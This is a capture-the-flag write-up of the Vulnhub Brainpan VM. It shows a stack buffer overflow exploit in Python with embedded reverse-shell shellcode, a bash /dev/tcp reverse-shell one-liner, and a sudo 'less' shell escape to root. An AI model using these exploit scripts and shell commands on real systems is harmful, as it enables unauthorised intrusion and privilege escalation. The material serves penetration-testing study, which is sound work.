Brainpan: 1 – Vulnhub Writeup


This is another VM from Vulnhub that was recommended on Abatchy’s blog for OSCP preparation.  I think this will be the last Linux box for a while and I will try to delve into vulninjector or other Windows-based vulnerable systems.  This one has been marked as intermediate-level difficulty so hopefully will be a bit more challenging than the previous one!  Let’s get started.

Initial nmap scan to confirm target’s IP:

nmap -sP

Now an OS and service discovery scan (all ports):

nmap -O -sV -p- -T4

In an attempt to banner grab more information from the “abyss” service I used telnet to connect over port 9999 and got a prompt to login:

I tried a handful of more obvious password possibilities (admin, password, brainpan, etc.) but none worked.  Without the need for a login ID it would potentially be a lot easier to brute-force this login but we’ll come back to it later after we investigate the web server.

What we find on the main site ( is a Veracode infographic about secure coding, findings of OWASP top 10 vulnerabilities in web-apps, etc.  The HTML source is nothing more than a short credit to the infographic’s source in addition to the image tag itself.

As there are no links or references to other sub-directories (img path is to root) let’s try a quick nikto scan to see if it picks up any obvious configuration flaws or directories before moving on to dirbuster.

We get the specific HTTP server and Python version (nikto notes both as being out of date).  Searching vulnerabilities for SimpleHTTP v0.6 would be a definite avenue to explore.  Let’s check out the /bin/ directory to see if we can view any contents.

We can, and it has a single executable inside.  Let’s download and take a look at it.  binwalk yields:

After installing 32-bit Wine + dependencies I then attempted to run it.

Look familiar?  So this is likely just the service that is running on port 9999 on the remote host.  This time with the local service running I open another terminal window to connect to it and try a couple passwords.

It’s unclear right away what the check values of 1 and -1 mean, so I continue testing this time with a very long password (possible buffer overflow?).

350 byte password is fine.   Spamming 645 bytes of characters gives me a page fault and the application crashes.

At first I thought the check value had something to do with length, so I tested t, tt, ttt etc. up to 20 characters, but they all gave “check is 1”.

Confused at this point I looped through all letters and everything “r” and above checked as 1.  Trying upper case letters, numbers and symbols all yielded “check is -1”.  Thinking I was on to something and that maybe it was checking the password characters one by one I tried ta, tb, tc, etc. but it appears anything I put after the r-z characters in the first location I will get a “check is 1” return.

Being a Windows executable I was able to take a look at it a little bit using strings but I decided to take a break until I could spin up a Windows VM and actually debug in depth and try to exploit a buffer overflow…


With a Windows 7 test VM from Microsoft Edge and Ollydbg installed I ran the executable and started reading through the program.  A while later I noted this bit:

After receive input for the password it compares to an existing string that is “shitstorm” to determine whether or not to grant access.  Let’s try that password out!

I tried that on the local instance in Kali and got an “ACCESS GRANTED” message, but then just got kicked back to the shell.  Tried connecting to the VM instance and had the same result.

At this point I looked through the contents of the app again and really couldn’t find anything else interesting.  It looks like there is no additional content past the security check, unless it it somehow obscured or hidden.

So I think it’s time to do some serious review of the OSCP chapters/videos on buffer overflow.  🙂

I very slightly modified the fuzzing script provided in the OSCP training so that it only deals with the password field and modified the IP/port accordingly:

import socket
# create an array of buffers, while increasing them.
counter = 100
while len(buffer) <= 30: 
     counter = counter + 200
for string in buffer: 
     print "Fuzzing PASS with %s bytes" % len(string)
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     connect = s.connect(('',9999))
     s.send(string + '\r\n')

Like in my manual attempts fuzzing crashes the service somewhere between 502-702 bytes.

And when I check the registers I see that EBP and EIP indeed have been overwritten with A’s.

Now to create a unique pattern we can feed into the app to help find the exact point at which the overflow/offset begins.  I’ll create one with the size of 702 bytes.


And create another python script to feed the created buffer to the application.

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax'

     print "sending evil buffer..." 
     data = s.recv(1024) 
     s.send(buffer + '\r\n') 
     print "\nDone!"

     print "Count not connect to Brain!"

After running we see the EIP now pointing to…

Using the “pattern_offset.rb” tool we can calculate the offset for 35724134.

Which ends up being “524”.  Now we’ll modify the text we send so that A’s account for everything pre-offset, B’s fill the 4 locations of the register, and C’s follow everything afterward to confirm we have the correct space (also we can extend the Cs to make sure we have space to inject code later).

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "A"*524 + "B"*4 + "C"*74

     print "\sending evil buffer..." 
     data = s.recv(1024) 
     s.send(buffer + '\r\n') 
     print "\nDone!"

     print "Count not connect to Brain!"

We test to make sure that the 4 B’s occupy the EIP space.

Confirmed.  Now I will modify the script above so that the “C” buffer portion now consists of 3500 bytes.  This is to test out mapping out space for future shell code to make sure it doesn’t interfere with ESP.

Still works.  So what we now want to do is find a command for “jmp esp”.  What we will aim to do is hijack this command to point to and execute our shell code that starts at the ESP memory address.  We will inject this instruction right at the offset (EIP), so instead of reading the data and merely stopping, it goes to the address and executes our shell code entered after the offset.

The address found is “311712F3”.  Now to start constructing our shell code to test it out first on our Windows 7 VM.

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 -b ‘\x00’ -f python -v shellcode

The “-b ‘\x00′” portion here lets the payload generator know not to include null characters in the shellcode as they will likely cause problems in execution.  There are other bad characters that can also trip up execution but we can deal with them later if we encounter any issues.

As you can see the final size is well within our tested threshold of 3500 bytes.  So we now copy this shellcode into a python script along with our garbage chars to fill pre-offset, the call to jump esp, followed up our exploit code (adding some NOPs in between to be safe).  Hex code for NOPs is ‘0x90′ and is basically a “no operation” or “next” command to act as filler in case memory addresses get inadvertently bumped around.

import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

shellcode =  "\x90" * 10
shellcode += "\xbf\x36\x7a\xc3\x97\xdb\xdd\xd9\x74\x24\xf4\x5b"
shellcode += "\x2b\xc9\xb1\x52\x31\x7b\x12\x03\x7b\x12\x83\xdd"
shellcode += "\x86\x21\x62\xdd\x9f\x24\x8d\x1d\x60\x49\x07\xf8"
shellcode += "\x51\x49\x73\x89\xc2\x79\xf7\xdf\xee\xf2\x55\xcb"
shellcode += "\x65\x76\x72\xfc\xce\x3d\xa4\x33\xce\x6e\x94\x52"
shellcode += "\x4c\x6d\xc9\xb4\x6d\xbe\x1c\xb5\xaa\xa3\xed\xe7"
shellcode += "\x63\xaf\x40\x17\x07\xe5\x58\x9c\x5b\xeb\xd8\x41"
shellcode += "\x2b\x0a\xc8\xd4\x27\x55\xca\xd7\xe4\xed\x43\xcf"
shellcode += "\xe9\xc8\x1a\x64\xd9\xa7\x9c\xac\x13\x47\x32\x91"
shellcode += "\x9b\xba\x4a\xd6\x1c\x25\x39\x2e\x5f\xd8\x3a\xf5"
shellcode += "\x1d\x06\xce\xed\x86\xcd\x68\xc9\x37\x01\xee\x9a"
shellcode += "\x34\xee\x64\xc4\x58\xf1\xa9\x7f\x64\x7a\x4c\xaf"
shellcode += "\xec\x38\x6b\x6b\xb4\x9b\x12\x2a\x10\x4d\x2a\x2c"
shellcode += "\xfb\x32\x8e\x27\x16\x26\xa3\x6a\x7f\x8b\x8e\x94"
shellcode += "\x7f\x83\x99\xe7\x4d\x0c\x32\x6f\xfe\xc5\x9c\x68"
shellcode += "\x01\xfc\x59\xe6\xfc\xff\x99\x2f\x3b\xab\xc9\x47"
shellcode += "\xea\xd4\x81\x97\x13\x01\x05\xc7\xbb\xfa\xe6\xb7"
shellcode += "\x7b\xab\x8e\xdd\x73\x94\xaf\xde\x59\xbd\x5a\x25"
shellcode += "\x0a\x02\x32\x4a\xaf\xea\x41\x94\x3e\xb7\xcc\x72"
shellcode += "\x2a\x57\x99\x2d\xc3\xce\x80\xa5\x72\x0e\x1f\xc0"
shellcode += "\xb5\x84\xac\x35\x7b\x6d\xd8\x25\xec\x9d\x97\x17"
shellcode += "\xbb\xa2\x0d\x3f\x27\x30\xca\xbf\x2e\x29\x45\xe8"
shellcode += "\x67\x9f\x9c\x7c\x9a\x86\x36\x62\x67\x5e\x70\x26"
shellcode += "\xbc\xa3\x7f\xa7\x31\x9f\x5b\xb7\x8f\x20\xe0\xe3"
shellcode += "\x5f\x77\xbe\x5d\x26\x21\x70\x37\xf0\x9e\xda\xdf"
shellcode += "\x85\xec\xdc\x99\x89\x38\xab\x45\x3b\x95\xea\x7a"
shellcode += "\xf4\x71\xfb\x03\xe8\xe1\x04\xde\xa8\x12\x4f\x42"
shellcode += "\x98\xba\x16\x17\x98\xa6\xa8\xc2\xdf\xde\x2a\xe6"
shellcode += "\x9f\x24\x32\x83\x9a\x61\xf4\x78\xd7\xfa\x91\x7e"
shellcode += "\x44\xfa\xb3"
buffer = "A" * 524 + "\xf3\x12\x17\x31" + shellcode

     print "\sending evil buffer..." 
     data = s.recv(1024) 
     s.send(buffer + '\r\n') 
     print "\nDone!"
     print "Count not connect to Brain!"

Now we setup a netcat listener in Kali, start up the brainpan.exe and run out exploit code to test.

A little incredulous it worked the first time without fiddling…we have a shell!

Now to try it out on the actual Brainpan VM.  Note that when I spun it back up DHCP assigned it the new IP of

That worked again right away, but I’m in sort of a strange Windows command shell for a Linux machine.

Checking the \home\ directory and using echo I’m able to find out what user I’m logged in as, as well as other possible user options.  I’m blocked from \root\, however, and will at this point need to find some way to elevate my privileges.

I may be in a MS cmd shell, but I can still run bash.  I can then use the following to upgrade to full TTY:

python -c ‘import pty; pty.spawn(“/bin/bash”)’

Except it seems to only partially work…and keeps kicking me back to the Windows cmd shell.

I decide I should try to make things easier on myself by creating a new Linux shell back to Kali.  I used Pentestmonkey’s Bash shell:

bash -i >& /dev/tcp/ 0>&1

Took 2 tries but that worked like a charm and now I have a real shell!

Lots of poking around later going down the list of Basic Linux Escalation possibilities I came across this tidbit:

I don’t have access to that user’s home directory so can’t really inspect anything around the application, so let’s just try running it and see what it does.

I try out the manual option.

Note the “terminal is not fully functional” message.  This is fixed using “export TERM=xterm”.  The question now is how do we exploit “network”, “proclist” or “manual” to attach further commands to give us shell?

I can’t just tack on additional commands to the string. We don’t have rights to modify “anansi_util” itself.  “network” and “proclist” are straightforward commands so I’m not sure I can do anything with those.

I was stuck here for quite a while putzing around trying to figure out what to do.   Strangely it was me accidentally messing up hitting ctrl-c and having to redo the session that led me to the answer.  My “fix” above was actually preventing me from exploiting a breakout from the manual “less” listing.

At the “press RETURN” prompt, you can escape to shell using “!/bin/sh” while still under sudo privileges.  We now have root finally!

And there we have it!  Great challenge and some good practice doing Windows buffer overflow.